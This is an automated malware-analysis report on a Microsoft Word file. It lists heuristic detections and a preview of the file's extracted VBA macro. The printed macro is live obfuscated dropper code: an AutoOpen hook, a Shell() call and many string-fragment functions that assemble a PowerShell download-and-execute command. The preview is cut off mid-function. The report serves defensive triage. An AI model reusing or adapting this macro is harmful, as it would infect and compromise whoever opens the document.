MALICIOUS
152
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a Microsoft Office document containing a VBA macro. The macro uses obfuscation techniques and the Shell() function to execute PowerShell commands. The reconstructed PowerShell command appears to be an attempt to download and execute a second-stage payload, indicated by the string 'Set-IT -var iAblE:Ofs' '' ) " +[sTRi'. The presence of the AutoOpen macro and the Shell() call strongly suggests malicious intent.
Heuristics 7
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
mWJAMj = (JvLrN * 22998 + 14310 * CInt(HjociP - CDbl(30441)) * 41286 * Oct(52164)) kUPLkaL = bpHKj + wAiOcGmIMjk + Shell(TZSwUcpQ + HIWtIiG + SfCWi, (28957 / 28957) - 1) EYsNd = (OacIu * 60692 + 1560 * CInt(KalJB - CDbl(9900)) * 89335 * Oct(48855)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26095 bytes |
SHA-256: 25c5457b450b03ea0eec9d31b509abc1518ab0b3bf2e5c61dac4d8d73efe3058 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
291 of 444 identifiers look randomly generated (e.g. 'SSFwsJuwMNlmzF'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SSFwsJuwMNlmzF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "pjucnCivuGkn"
Function zACHBCvvHB()
On Error Resume Next
hWNzqz = (RiWbA * 36703 + 19362 * CInt(TNfjjZ - CDbl(22560)) * 63829 * Oct(75613))
nTlPXnfMLao = "He" + "ll" + " " + Chr(34) + " $(" + "Se" + "t-" + "IT"
SEtzIo = (wdQNWo * 77292 + 3144 * CInt(LnEIin - CDbl(9201)) * 48438 * Oct(43533))
KKPlotEApX = "EM" + " '" + "vaR" + "iA" + "bL" + "E:" + "Of"
aFJJV = (ZNYsJT * 41689 + 65171 * CInt(EptbzZ - CDbl(82596)) * 65711 * Oct(15609))
jCXZtivnhc = "s'" + " ''" + " ) " + Chr(34) + " " + "+[s"
YciHi = (UbIOcn * 39021 + 89997 * CInt(wbQJS - CDbl(84516)) * 34521 * Oct(43769))
LmobTEqHl = "TRi" + "ng" + "]('" + "21}"
zACHBCvvHB = nTlPXnfMLao + KKPlotEApX + jCXZtivnhc + LmobTEqHl
awLwZ = (jXBvzN * 90379 + 11613 * CInt(sosNTR - CDbl(32882)) * 41028 * Oct(97761))
End Function
Function liEnumiOthB()
On Error Resume Next
AzaYq = (GFQhj * 78249 + 42631 * CInt(jfElY - CDbl(94747)) * 21110 * Oct(2741))
uRQzc = "11" + "2}" + "80" + "t8"
WQdzE = (wJcMv * 47893 + 56724 * CInt(wLarH - CDbl(59242)) * 47242 * Oct(25208))
IiSLNEQ = "2e9" + "3K1" + "05v" + "17N" + "12" + "N17"
SrjnM = (wBszcE * 16018 + 24802 * CInt(BCTYD - CDbl(54575)) * 51940 * Oct(54925))
FlqprBBDOSk = "Z95" + "K84" + ">70" + "Z2" + "8>9" + "4}8" + "3v9"
XGawF = (WwJMK * 15462 + 46641 * CInt(kdfKD - CDbl(49364)) * 1212 * Oct(8060))
AaYnaIIO = "1v8" + "4v" + "82" + ">6" + "9N"
wDpFLA = (brOcQ * 11814 + 8862 * CInt(vocjuv - CDbl(4517)) * 27390 * Oct(56299))
EbbQJdhXDFC = "17w" + "67" + "K80" + "!95" + "N8" + "5N"
juXRXC = (TQcuQ * 97039 + 21482 * CInt(AlStvA - CDbl(57646)) * 48441 * Oct(64807))
OwZUljdV = "94" + "t9" + "2}" + "10!"
OzUJu = (pMTcFl * 19011 + 38062 * CInt(awpcD - CDbl(60833)) * 80532 * Oct(33561))
fdYVnqDbtm = "21!" + "70" + "}12" + "5>1" + "27" + "}71" + "N1"
liEnumiOthB = uRQzc + IiSLNEQ + FlqprBBDOSk + AaYnaIIO + EbbQJdhXDFC + OwZUljdV + fdYVnqDbtm
uKjUhl = (VqCJF * 66489 + 18475 * CInt(jEDfi - CDbl(82531)) * 28029 * Oct(52574))
End Function
Function anEpCHJW()
On Error Resume Next
hVDowi = (YfkPkM * 39927 + 58891 * CInt(WjvHKF - CDbl(83728)) * 75645 * Oct(37733))
LKjuzf = "07" + "N1" + "7e1" + "2>1"
wcKitf = (knMiQY * 23199 + 36785 * CInt(awulTk - CDbl(47782)) * 94615 * Oct(23117))
PcizJBQOzi = "7t" + "95" + "v8" + "4w"
TUobd = (UAfHO * 94443 + 82978 * CInt(BchRzG - CDbl(21883)) * 68148 * Oct(77295))
XlQwjVLUNX = "70N" + "28N" + "94K" + "83"
ftshcO = (NWmMP * 92244 + 22297 * CInt(SwXjLV - CDbl(56027)) * 13824 * Oct(22136))
KDwGwZ = "Z9" + "1!8" + "4t8" + "2e"
rCGzGv = (fNvkXn * 47000 + 32300 * CInt(AaEWm - CDbl(62058)) * 42127 * Oct(66927))
KaptFt = "69" + "!17" + ">98"
JnCcEC = (hwkLwP * 31670 + 81953 * CInt(jiPwvJ - CDbl(98807)) * 30701 * Oct(15200))
GaWmziBwz = "t7" + "2e6" + "6K6"
CCpwL = (YQwHjD * 17380 + 87371 * CInt(pqnEHk - CDbl(19568)) * 27635 * Oct(86532))
FRjvq = "9t" + "84" + "Z92" + "K31" + "!1"
anEpCHJW = LKjuzf + PcizJBQOzi + XlQwjVLUNX + KDwGwZ + KaptFt + GaWmziBwz + FRjvq
wGkmA = (mUjAjr * 96427 + 49393 * CInt(YzUiwf - CDbl(48516)) * 42643 * Oct(322))
End Function
Function RtmmjB()
On Error Resume Next
TLKAl = (nwvNan * 58179 + 91547 * CInt(ujZtO - CDbl(96193)) * 84545 * Oct(26680))
nPSMO = "27" + "!84" + ">6" + "9K" + "31"
jkpfw = (Ykkjh * 54526 + 53360 * CInt(wHvvC - CDbl(24020)) * 8648 * Oct(69631))
qYGSEzcjXH = "}10" + "2t" + "84" + "}83" + "v11" + "4}" + "93"
YOCwz = (lHbzkQ * 308 + 4648 * CInt(zYoqD - CDbl(94741)) * 27140 * Oct(83581))
zOhqF = "}8" + "8K" + "84e"
OblSC = (BVzPRQ * 89840 + 50996 * CInt(HwZGi - CDbl(82243)) * 6264 * Oct(96124))
VYWouLhEEo = "95" + "v6" + "9>1" + "0e2" + "1w" + "102" + "e1"
RtmmjB = nPSMO + qYGSEzcjXH + zOhqF + VYWouLhEEo
nwdYO = (YKXjhX * 83018 + 36321 * CInt(lwPRk - CDbl(71479)) * 82991 * Oct(9318))
End Function
Function LuFSFzo()
On Error Resume Next
OjFXHN = (LdjiGM * 56368 + 14205 * CInt(rGtLs - CDbl(3462)) * 31075 * Oct(60787))
GUjBpAlWJ = "24N" + "107" + "w1"
UhblN = (wrfJf * 51540 + 1341 * CInt(KHWtK - CDbl(77168)) * 97092 * Oct(48655))
UzjiKlubSSq = "01>" + "125" + "!1" + "7K1" + "2>1" + "7N" + "22"
Iwtiz = (FNSZCm * 60078 + 865 * CInt(QMiPjU - CDbl(54472)) * 84909 * Oct(82139))
wbqRHKorSC = "e8" + "9v6" + "9t" + "69Z" + "65>" + "11" + "}3"
jDWHF = (WvOTmU * 80162 + 98403 * CInt(ZvMAwP - CDbl(59701)) * 14129 * Oct(92334))
jTifUZzk = "0N3" + "0>8" + "3t8"
wGjszf = (CaOqi * 10156 + 26167 * CInt(frQhnw - CDbl(43203)) * 67025 * Oct(33487))
dCPbLni = "0N6" + "7w8" + "0t9" + "5w"
YQrsn = (waiGl * 75278 + 5946 * CInt(njRPk - CDbl(14168)) * 83098 * Oct(81946))
EKfrnbJdhhX = "80" + "}8" + "2}" + "80K" + "67" + "K65"
LuFSFzo = GUjBpAlWJ + UzjiKlubSSq + wbqRHKorSC + jTifUZzk + dCPbLni + EKfrnbJdhhX
SSYOaI = (cXSlaP * 29557 + 19652 * CInt(JuIaHw - CDbl(85657)) * 77190 * Oct(2206))
End Function
Function PNIjnVX()
On Error Resume Next
GiHzKP = (RYZPpV * 34376 + 94820 * CInt(OVRoXQ - CDbl(14109)) * 54768 * Oct(51755))
WnEuM = "e8" + "4w6" + "9K"
jPrVa = (NjBCUZ * 15416 + 42483 * CInt(wqkXUY - CDbl(81151)) * 56780 * Oct(55200))
YBZbIDnh = "31" + ">82" + "Z94" + "N9" + "2t" + "30"
XWMWqX = (XwjRaD * 98928 + 58911 * CInt(pQuJoN - CDbl(90957)) * 92047 * Oct(49599))
mpzLn = "K1" + "07" + "Z8" + "Z9" + "4Z" + "71" + "}6"
WFGosm = (mCNAK * 22788 + 59459 * CInt(CLpbXn - CDbl(71471)) * 86111 * Oct(83529))
AILdpcFJ = "4t" + "69K" + "64}"
PNIjnVX = WnEuM + YBZbIDnh + mpzLn + AILdpcFJ
aiTuKb = (wPAZQ * 15166 + 76023 * CInt(LQwQbf - CDbl(8015)) * 30825 * Oct(37327))
End Function
Function ijwzC()
On Error Resume Next
BFUBml = (PGSDv * 85880 + 85238 * CInt(kNwiQm - CDbl(6289)) * 4015 * Oct(91031))
lzjznZZAqP = "30>" + "11" + "3t" + "89" + "}6" + "9!" + "69"
XobPC = (SzHIV * 91550 + 89240 * CInt(PNABUc - CDbl(30184)) * 45503 * Oct(8486))
tsDiPMY = "w65" + "e11" + "e3" + "0!" + "30w"
rRIlDA = (DZpPzk * 99406 + 6947 * CInt(lvljQo - CDbl(37549)) * 35827 * Oct(28940))
ujzSq = "86t" + "80e" + "85" + "!80" + "t95" + "N88"
ijwzC = lzjznZZAqP + tsDiPMY + ujzSq
lBhTw = (kzYlNj * 93596 + 13558 * CInt(SWFOS - CDbl(56171)) * 2240 * Oct(95687))
End Function
Function jfwvwP()
On Error Resume Next
qUmUN = (wpWAP * 93754 + 42865 * CInt(sPNmb - CDbl(35251)) * 67064 * Oct(8462))
lDolqkc = "Z84" + "!2" + "8!" + "93" + "K8" + "8>8" + "5}8"
iawSOE = (ZkEJcc * 25399 + 29751 * CInt(VnYJwr - CDbl(25124)) * 92092 * Oct(30625))
uYtlr = "8K" + "80>" + "31" + ">6"
wEqZf = (mUIuPj * 68888 + 71568 * CInt(bfsNd - CDbl(29193)) * 4098 * Oct(95467))
lQoHiqHjZjS = "7K6" + "8w" + "30"
FfKuC = (MCCBFs * 67350 + 19566 * CInt(UpHEU - CDbl(39212)) * 73691 * Oct(6461))
iubUv = "!1" + "19!" + "67" + "!5}" + "11"
jfwvwP = lDolqkc + uYtlr + lQoHiqHjZjS + iubUv
kVMUim = (wHnUAi * 84694 + 34897 * CInt(hMjif - CDbl(64698)) * 84613 * Oct(40518))
End Function
Function MJHjim()
On Error Resume Next
snHzc = (SbXKhZ * 85629 + 37844 * CInt(DIkvp - CDbl(46997)) * 79754 * Oct(95965))
DsdXKj = "4w" + "82" + "w10" + "0w"
inHFUH = (drApw * 82140 + 99006 * CInt(EBYHhk - CDbl(92976)) * 78854 * Oct(86828))
ziGLvzJ = "30K" + "11" + "3K" + "89e" + "69" + ">69"
fXwwf = (DpROpb * 25966 + 13565 * CInt(HEird - CDbl(35172)) * 24237 * Oct(17317))
zKXJXkcJHcv = "}65" + "e1" + "1}" + "30K" + "30t" + "80"
qoziQ = (mwOpp * 68939 + 11069 * CInt(MFmIZk - CDbl(79469)) * 57409 * Oct(77025))
McZzBwuOzzz = "e67" + "v82" + "K89" + "K8" + "0N"
MJHjim = DsdXKj + ziGLvzJ + zKXJXkcJHcv + McZzBwuOzzz
rafOz = (zSOqF * 83417 + 91353 * CInt(ZLcqM - CDbl(46467)) * 33863 * Oct(62183))
End Function
Function GwLhVHcRm()
On Error Resume Next
XWmrJ = (YQMAir * 80872 + 49090 * CInt(BwrWV - CDbl(29274)) * 51709 * Oct(39696))
niaYB = "67w" + "85v" + "31v" + "92Z" + "84t" + "30"
RiNIw = (PzKYI * 84080 + 19568 * CInt(ofqZs - CDbl(83384)) * 24970 * Oct(57587))
IwSZKiqAk = "}8" + "3}" + "120" + "e9" + "7e"
mEpNju = (mwBdZ * 52164 + 49551 * CInt(Svkij - CDbl(34510)) * 33673 * Oct(62563))
nddzaH = "80w" + "85}" + "11" + "6Z"
GwLhVHcRm = niaYB + IwSZKiqAk + nddzaH
aDrfph = (wnwbEJ * 6919 + 67689 * CInt(zlLqj - CDbl(96715)) * 24875 * Oct(10993))
End Function
Function ziLKwqsNOT()
On Error Resume Next
HzHizR = (XwmdD * 60678 + 94445 * CInt(Yjmcw - CDbl(22906)) * 18106 * Oct(84578))
BzAtIKdl = "30" + "v11" + "3!" + "89Z" + "69" + "v6" + "9K"
djjGq = (cqlFi * 70127 + 42401 * CInt(phGjK - CDbl(32216)) * 11378 * Oct(2644))
JWSJEdztkX = "65t" + "66" + "v1" + "1!3"
ovRAL = (HOzFGA * 32048 + 71563 * CInt(hnKmS - CDbl(50726)) * 28129 * Oct(58899))
WiRQcjtRwk = "0e" + "30!" + "80!"
Owusf = (bvcMsK * 47701 + 19321 * CInt(Fiqkf - CDbl(30277)) * 34188 * Oct(48688))
ESzKNNJV = "71" + "N8" + "4v6" + "7!8" + "8v9" + "5!3"
rzWGTj = (ZRPlPp * 27828 + 66787 * CInt(iLYEsD - CDbl(16157)) * 57473 * Oct(87709))
EJptBpEw = "1K" + "65" + ">6" + "7}" + "94" + "K30"
njdzmw = (zAjbU * 53671 + 86591 * CInt(StJYB - CDbl(30603)) * 30927 * Oct(15783))
ZsNJkIXM = "!1" + "24>" + "93"
AEtVDn = (sMmvKv * 34073 + 55272 * CInt(rqNCXJ - CDbl(68045)) * 59943 * Oct(72326))
bZfwZJpn = "K9" + "e1" + "18v" + "99Z" + "30" + "w1"
ziLKwqsNOT = BzAtIKdl + JWSJEdztkX + WiRQcjtRwk + ESzKNNJV + EJptBpEw + ZsNJkIXM + bZfwZJpn
KwFsRX = (swiCCv * 24885 + 79862 * CInt(IpzIWb - CDbl(62939)) * 66718 * Oct(18386))
End Function
Function jOrMSqA()
On Error Resume Next
CFOrV = (jcdrn * 39845 + 40037 * CInt(jDSum - CDbl(80500)) * 90079 * Oct(1430))
fRhsEzEdAz = "13" + "Z8" + "9v6"
oBthd = (jSXis * 40408 + 41236 * CInt(HNoSTj - CDbl(95509)) * 91417 * Oct(75603))
ahQNFQvIMt = "9N" + "69" + "!6" + "5N" + "11Z"
YYTIm = (TiBsZq * 53055 + 62362 * CInt(ZtZQm - CDbl(55302)) * 6580 * Oct(26473))
AqtHH = "30!" + "30v" + "70w" + "70" + "Z70" + "v3"
LhzXb = (PtOYJ * 8725 + 69109 * CInt(jaONTc - CDbl(8438)) * 33286 * Oct(72090))
wKrnsbEMnVI = "1v9" + "0K" + "84"
jOrMSqA = fRhsEzEdAz + ahQNFQvIMt + AqtHH + wKrnsbEMnVI
MtpYf = (sVLtz * 8864 + 96829 * CInt(CkdjcD - CDbl(44622)) * 2913 * Oct(80005))
End Function
Function zllanKrli()
On Error Resume Next
tpXOk = (VuwpKi * 52215 + 83094 * CInt(Mjntq - CDbl(56952)) * 52824 * Oct(54801))
CzOjspWbw = "N82" + "w88" + "w94" + "N67" + "}8"
LiwXp = (kLDWiq * 57199 + 56436 * CInt(ZYCIIl - CDbl(39130)) * 18364 * Oct(74032))
aMoqwZXi = "4v" + "95" + "w9" + "0Z9" + "4v9"
PXjIz = (SMEDBm * 94752 + 9539 * CInt(EziEM - CDbl(45243)) * 67666 * Oct(5251))
FTUzNV = "3K" + "69K" + "68N" + "90" + "w72"
TRaST = (qZMFaL * 3096 + 5566 * CInt(jMdYZ - CDbl(68943)) * 75977 * Oct(52662))
wFpipcufmF = "N8" + "8w" + "90" + "v80"
zllanKrli = CzOjspWbw + aMoqwZXi + FTUzNV + wFpipcufmF
uDmqEZ = (fUjoiO * 98498 + 86255 * CInt(Mcasi - CDbl(4925)) * 6246 * Oct(93804))
End Function
Function KNAMz()
On Error Resume Next
XAuKd = (fqdYQ * 89615 + 1516 * CInt(mJuqU - CDbl(27260)) * 43151 * Oct(34415))
AQCAiJQXsI = "v92" + "e8" + "0t3" + "1t" + "95" + "!8" + "4e6"
kAMHN = (TsApQj * 48507 + 2208 * CInt(rNIrl - CDbl(52211)) * 55124 * Oct(57176))
lcUWJBTfssZ = "9Z3" + "0N" + "11"
InikL = (iDFnJK * 31518 + 21607 * CInt(GJfPF - CDbl(70112)) * 75445 * Oct(25759))
SIzKahnlfD = "8w6" + "9>8" + "w9"
KNAMz = AQCAiJQXsI + lcUWJBTfssZ + SIzKahnlfD
YzGFi = (lHWAzZ * 1632 + 66490 * CInt(SGMalr - CDbl(22062)) * 51682 * Oct(5189))
End Function
Function wjMWndwSOc()
On Error Resume Next
lbvMYb = (aZLMb * 56207 + 47798 * CInt(BBnPL - CDbl(85769)) * 11595 * Oct(52672))
tONHYdzdSwP = "4>" + "11" + "9v7" + "1K3" + "0e" + "22" + "N31"
zwXMbR = (YEPtE * 81899 + 90230 * CInt(ZizbWU - CDbl(82299)) * 56636 * Oct(77183))
AHzzRhNUH = "e98" + "w6" + "5Z" + "93e" + "88K" + "69!" + "25"
kpYLq = (fAwPZE * 16590 + 97158 * CInt(wnXOf - CDbl(41990)) * 20929 * Oct(13080))
aipPuP = "N22" + "e1" + "13"
qhsiEf = (VjLrb * 79195 + 25977 * CInt(RODuf - CDbl(47151)) * 40214 * Oct(42228))
TaiHZqSNN = "v2" + "2e" + "24Z" + "10K" + "21"
SYjTP = (fZjjU * 18650 + 9428 * CInt(wRIEU - CDbl(95026)) * 14046 * Oct(64007))
SSHdaaujY = "e11" + "8w" + "91!"
wjMWndwSOc = tONHYdzdSwP + AHzzRhNUH + aipPuP + TaiHZqSNN + SSHdaaujY
aJwRS = (bQVLr * 23631 + 61397 * CInt(nFajRs - CDbl(11647)) * 86566 * Oct(7096))
End Function
Function ECJCQ()
On Error Resume Next
OHdWT = (YtlPG * 19324 + 35830 * CInt(MJHSww - CDbl(25819)) * 76725 * Oct(30962))
TjzhjVpsquH = "88>" + "80!" + "70N"
VwuRp = (DhFkCK * 74703 + 8449 * CInt(VmzaQr - CDbl(55750)) * 75461 * Oct(67401))
hHPimT = "99e" + "17!" + "12v" + "17K" + "21" + "v11" + "2N8"
IknuF = (arKBVF * 13749 + 8560 * CInt(MZEioC - CDbl(42850)) * 6479 * Oct(42401))
JMWbzWZiK = "0v8" + "2v" + "93v" + "10" + "5t" + "31"
LPMzbs = (LwjEP * 74566 + 1455 * CInt(cTcDbP - CDbl(60699)) * 86594 * Oct(59061))
zUlaHliD = "}9" + "5K" + "84"
SYEuQ = (hRRtjN * 84462 + 68721 * CInt(JuIXr - CDbl(93544)) * 74650 * Oct(6343))
BsbuAE = "K73" + "e6" + "9}2" + "5Z" + "0}" + "29"
MjuAuN = (WivITG * 32216 + 64806 * CInt(XwVHBP - CDbl(52296)) * 85250 * Oct(89288))
pvoVKt = "v1" + "7>" + "8v8" + "N8t"
ECJCQ = TjzhjVpsquH + hHPimT + JMWbzWZiK + zUlaHliD + BsbuAE + pvoVKt
UWVmH = (VHihsj * 43606 + 7381 * CInt(Mfwap - CDbl(5949)) * 57823 * Oct(52091))
End Function
Function VQQwjvjimi()
On Error Resume Next
UwRwvw = (BFdsJ * 2722 + 90829 * CInt(dwziAC - CDbl(81800)) * 53075 * Oct(34127))
awswU = "2w5" + "Z8Z" + "24" + "}1" + "0v"
pkiRFO = (vsSJOZ * 22888 + 72239 * CInt(qbtLD - CDbl(20824)) * 69097 * Oct(16834))
YZtZwlDj = "21K" + "70w" + "10" + "0v1" + "07" + ">1"
qDvaad = (zCFMd * 69859 + 786 * CInt(BNIci - CDbl(30151)) * 46991 * Oct(75773))
tNmVVd = "14>" + "92" + "N17" + "K1"
VQQwjvjimi = awswU + YZtZwlDj + tNmVVd
aMPiGp = (AVUOKv * 40191 + 34770 * CInt(mOXGYv - CDbl(11382)) * 51215 * Oct(59234))
End Function
Function ItIWw()
On Error Resume Next
qBHih = (QwzOO * 78237 + 86789 * CInt(aMHPl - CDbl(7763)) * 12354 * Oct(86160))
zvWpJW = "2w1" + "7v2" + "1>8"
nsBAhX = (GoDwzc * 86252 + 84123 * CInt(vuwVDa - CDbl(95654)) * 41159 * Oct(21662))
CJzziGNsPn = "4Z9" + "5!7" + "1w1" + "1w6" + "9!" + "84" + "!92"
MoqoaD = (LTljRj * 51618 + 40056 * CInt(ZlwMw - CDbl(37716)) * 30366 * Oct(55247))
XUOabTCd = "v6" + "5Z1" + "7w" + "26" + "v17" + "N22" + ">1"
JKXmNu = (pCLqQA * 54856 + 87038 * CInt(RZFGi - CDbl(21569)) * 41489 * Oct(428))
XGktaEXTviS = "09" + "K22" + "!1"
BMYwhs = (NwRtZ * 46632 + 12230 * CInt(AbjPir - CDbl(48533)) * 17059 * Oct(6293))
PBIDXO = "7e" + "26w" + "17" + "K2"
juKVL = (oXrMiG * 82567 + 40754 * CInt(SCBLz - CDbl(54977)) * 87321 * Oct(36384))
YBbiuZp = "1Z1" + "18K" + "91}"
ItIWw = zvWpJW + CJzziGNsPn + XUOabTCd + XGktaEXTviS + PBIDXO + YBbiuZp
GCiGW = (bDVoA * 97130 + 28066 * CInt(mSEChu - CDbl(18148)) * 87748 * Oct(70956))
End Function
Function vmGZXV()
On Error Resume Next
wMoXz = (hnbvP * 17637 + 38837 * CInt(BnkilC - CDbl(39678)) * 38728 * Oct(6618))
aswEAGP = "88" + "!8" + "0Z7" + "0t"
OtvaM = (EMRSJ * 18966 + 29126 * CInt(GSGNX - CDbl(36221)) * 53806 * Oct(57255))
ZjIjznMrzVd = "99t" + "17Z" + "26N" + "17"
WAuKiI = (rcIdJE * 15993 + 13802 * CInt(CqCrBY - CDbl(83948)) * 46048 * Oct(61615))
XhAlsjo = "e2" + "2v3" + "1v8" + "4}7" + "3w" + "84w" + "22K"
TvHzk = (kuYZSO * 49990 + 8410 * CInt(bjBlvB - CDbl(19132)) * 99627 * Oct(74562))
jhUTBUSiIwo = "10v" + "87v" + "94" + "w67" + "w8" + "4K"
vmGZXV = aswEAGP + ZjIjznMrzVd + XhAlsjo + jhUTBUSiIwo
bZmwz = (WdGpn * 69105 + 60623 * CInt(uYJjh - CDbl(16275)) * 77074 * Oct(32598))
End Function
Function iXckIc()
On Error Resume Next
IZrqmk = (JvUcI * 19605 + 97350 * CInt(aQwkTP - CDbl(92076)) * 84002 * Oct(2741))
nhjTGiTkE = "80" + "w82" + "w8" + "9w2" + "5!2" + "1t1"
rWsZSi = (KadWGS * 68711 + 86693 * CInt(jrPCPj - CDbl(49185)) * 22367 * Oct(18468))
zQStqi = "18" + ">7" + "1N1" + "14" + "e8" + "5}"
MDzjM = (qNuNij * 56006 + 80833 * CInt(zjUbUw - CDbl(24002)) * 83887 * Oct(69308))
IcMDdIHYMS = "103" + "!88" + ">17"
EcwNHz = (QBScNr * 33026 + 78093 * CInt(EofFz - CDbl(27921)) * 49151 * Oct(12276))
tmmiN = "v88" + "w9" + "5e" + "17" + "!2"
iXckIc = nhjTGiTkE + zQStqi + IcMDdIHYMS + tmmiN
AEkpS = (LNAIGr * 99814 + 75846 * CInt(zSbXT - CDbl(69461)) * 84643 * Oct(7102))
End Function
Function OXsAnUXMSP()
On Error Resume Next
EtXMil = (CsvGsw * 51766 + 68603 * CInt(RAqIi - CDbl(46473)) * 9722 * Oct(2660))
viFUQdWLMr = "1Z" + "102" + "t1" + "24!" + "10" + "7Z1"
HinBm = (IBzlYc * 98622 + 65957 * CInt(SDzDj - CDbl(45933)) * 3722 * Oct(84211))
wWfGIQOhOQc = "01w" + "125" + "}24" + "N7" + "4K6"
FCjBuE = (oWzXHC * 1838 + 10376 * CInt(wrwpK - CDbl(81092)) * 34329 * Oct(34827))
wpIai = "9N6" + "7K" + "72v" + "74Z" + "21"
qiYBUq = (mvvkz * 13987 + 11845 * CInt(FkFBKI - CDbl(31100)) * 5117 * Oct(88682))
PhSSkS = "}70" + "!12" + "5t" + "12" + "7Z7" + "1K1"
ijDCjP = (RZEZHn * 2751 + 13778 * CInt(UGFUQ - CDbl(82879)) * 72093 * Oct(8026))
inWbq = "07" + "e3" + "1v"
akQHTa = (iLmKBk * 28835 + 62245 * CInt(jhBUzz - CDbl(8484)) * 88936 * Oct(84169))
XXJhNcvhX = "117" + "Z9" + "4K" + "70>" + "95" + "N9"
OXsAnUXMSP = viFUQdWLMr + wWfGIQOhOQc + wpIai + PhSSkS + inWbq + XXJhNcvhX
JzZYru = (RGfUJG * 58921 + 94253 * CInt(bOwRjr - CDbl(47495)) * 40647 * Oct(70114))
End Function
Function WDRqOdoG()
On Error Resume Next
jjmdf = (PfQiF * 74653 + 91592 * CInt(BTIBf - CDbl(42793)) * 52920 * Oct(43949))
wiDQwkMiF = "3t" + "94N" + "80v" + "85K" + "119" + ">88"
UVpza = (RYEoh * 20684 + 31185 * CInt(dzzuaO - CDbl(35410)) * 45138 * Oct(78394))
HNKaBFWkMrj = "}93" + ">8" + "4w"
jPQjX = (OhNLSH * 81249 + 47378 * CInt(bwFBwO - CDbl(9564)) * 71972 * Oct(77696))
ZsmjpUnraf = "25t" + "21t" + "11"
BhcBIF = (jWQKni * 2655 + 28049 * CInt(zzEMVJ - CDbl(48656)) * 8786 * Oct(97077))
LUtUTDUjA = "8w" + "71" + "K1" + "14" + "Z8"
MWqFb = (cDVHmj * 8306 + 12492 * CInt(aTIio - CDbl(31527)) * 8319 * Oct(74663))
rRFTE = "5>1" + "03w" + "88" + "!31"
OHjbJ = (IXCtsb * 81881 + 33661 * CInt(jLffGo - CDbl(36339)) * 87097 * Oct(96052))
KLUrWNfJQ = "N1" + "01!" + "94w" + "98" + "}6" + "9!6" + "7v"
upRZKw = (jSqUz * 991 + 87611 * CInt(zOdKNt - CDbl(69335)) * 4202 * Oct(37386))
EbLPTXNDOEY = "88>" + "95" + "N8" + "6!" + "25Z" + "24v"
WDRqOdoG = wiDQwkMiF + HNKaBFWkMrj + ZsmjpUnraf + LUtUTDUjA + rRFTE + KLUrWNfJQ + EbLPTXNDOEY
dlYfkv = (jjODr * 95900 + 85974 * CInt(ksYaTj - CDbl(20428)) * 72133 * Oct(5820))
End Function
Function YiwCiXWj()
On Error Resume Next
Zoikw = (nzbjN * 68894 + 6472 * CInt(vGOQiZ - CDbl(15252)) * 31749 * Oct(71680))
ABwGXLSNnQA = "29v" + "17" + "}2" + "1w7"
dBLbz = (SzVYK * 12715 + 60237 * CInt(kEQtWL - CDbl(64962)) * 694 * Oct(78278))
AhltTFmuTs = "0>" + "100" + "N10" + "7w"
fNUtGd = (JDTGzz * 22752 + 96833 * CInt(ONOfX - CDbl(77913)) * 52378 * Oct(29352))
sQwQpILP = "114" + "!9" + "2Z2" + "4t1"
aIOtZh = (MUvmuY * 86335 + 84052 * CInt(BCLsn - CDbl(8872)) * 8778 * Oct(90479))
fCmKm = "0}9" + "8!6" + "9w8" + "0e"
zUmJT = (mFNjVl * 29375 + 58339 * CInt(ckiQMR - CDbl(79180)) * 39665 * Oct(43420))
wsXovnvOM = "67>" + "69" + ">28"
WlPWs = (ETjbN * 83287 + 6055 * CInt(EzoKM - CDbl(43605)) * 74749 * Oct(72761))
rvkaz = "N9" + "7N6" + "7w"
YiwCiXWj = ABwGXLSNnQA + AhltTFmuTs + sQwQpILP + fCmKm + wsXovnvOM + rvkaz
aPCZo = (tIzPCw * 10909 + 44115 * CInt(VKQRfC - CDbl(46727)) * 72291 * Oct(64839))
End Function
Function ALHuZiHiOR()
On Error Resume Next
LMciIz = (kMoGp * 92232 + 30601 * CInt(qSNbAE - CDbl(97516)) * 55655 * Oct(11500))
OfjiUb = "94e" + "82}" + "84K" + "66t" + "66N"
CFVGVC = (UwcWQi * 83693 + 29993 * CInt(MsicjO - CDbl(1710)) * 63732 * Oct(79383))
twJjTPkRMNz = "17" + "Z21" + "Z70"
KJjYNj = (pGuzi * 83117 + 74821 * CInt(UznOZo - CDbl(42748)) * 23500 * Oct(35870))
CSpjRYiv = "e10" + "0N1" + "07}"
FudJnE = (QlrUoY * 29478 + 74712 * CInt(plVihB - CDbl(90592)) * 99718 * Oct(22311))
rLOCFVl = "114" + "t92" + "N1" + "0K8" + "3>" + "67Z"
ALHuZiHiOR = OfjiUb + twJjTPkRMNz + CSpjRYiv + rLOCFVl
